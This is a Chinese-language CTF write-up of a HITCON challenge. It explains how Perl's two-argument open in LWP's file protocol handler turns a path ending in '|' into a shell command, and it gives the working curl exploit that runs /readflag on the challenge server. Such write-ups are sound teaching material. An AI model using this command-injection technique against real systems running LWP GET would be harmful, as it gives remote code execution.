题目源码:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);

这道题的考点是 GET 这个命令的一个命令执行漏洞,主要是 perl 的 feature,在 open 可以执行命令:

ricter@baka:/tmp$ cat a.pl
open(FD, "id|");
print <FD>;

open(FD, "|id");
print <FD>;
ricter@baka:/tmp$ perl a.pl
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)

那么,GET 命令对于各个 protocol 的处理是在 /usr/share/perl5/LWP/Protocol 下的:

ricter@baka:/usr/share/perl5/LWP/Protocol$ ls -1
cpan.pm
data.pm
file.pm
ftp.pm
GHTTP.pm
gopher.pm
http.pm
https.pm
loopback.pm
mailto.pm
nntp.pm
nogo.pm

对于 open 函数:

ricter@baka:/usr/share/perl5/LWP/Protocol$ ag open
mailto.pm
88: open(SENDMAIL, "| $SENDMAIL -oi -t") or

ftp.pm
239:          # open range -- only the start is specified
537:#    may be reasonable to keep the control connection open while accessing

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or return new

file 协议才有可以利用的 open,看一下源码:

...
# URL OK, look at file
my $path  = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
              "File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
           "Cannot read file '$path': $!");
...

需要文件存在才能触发,验证一下:

ricter@baka:/tmp/a$ touch 'id|'
ricter@baka:/tmp/a$ GET 'file:id|'
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)

需要存在一个 id| 文件,但是 PHP 源码中会创建目录及文件,那么最终 exp:

ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl 'http://13.115.136.15/sandbox/c36eb1c4372f5f8131542751d486cebd/bash%20-c%20/readflag%7C'
hitcon{Perl_<3_y0u}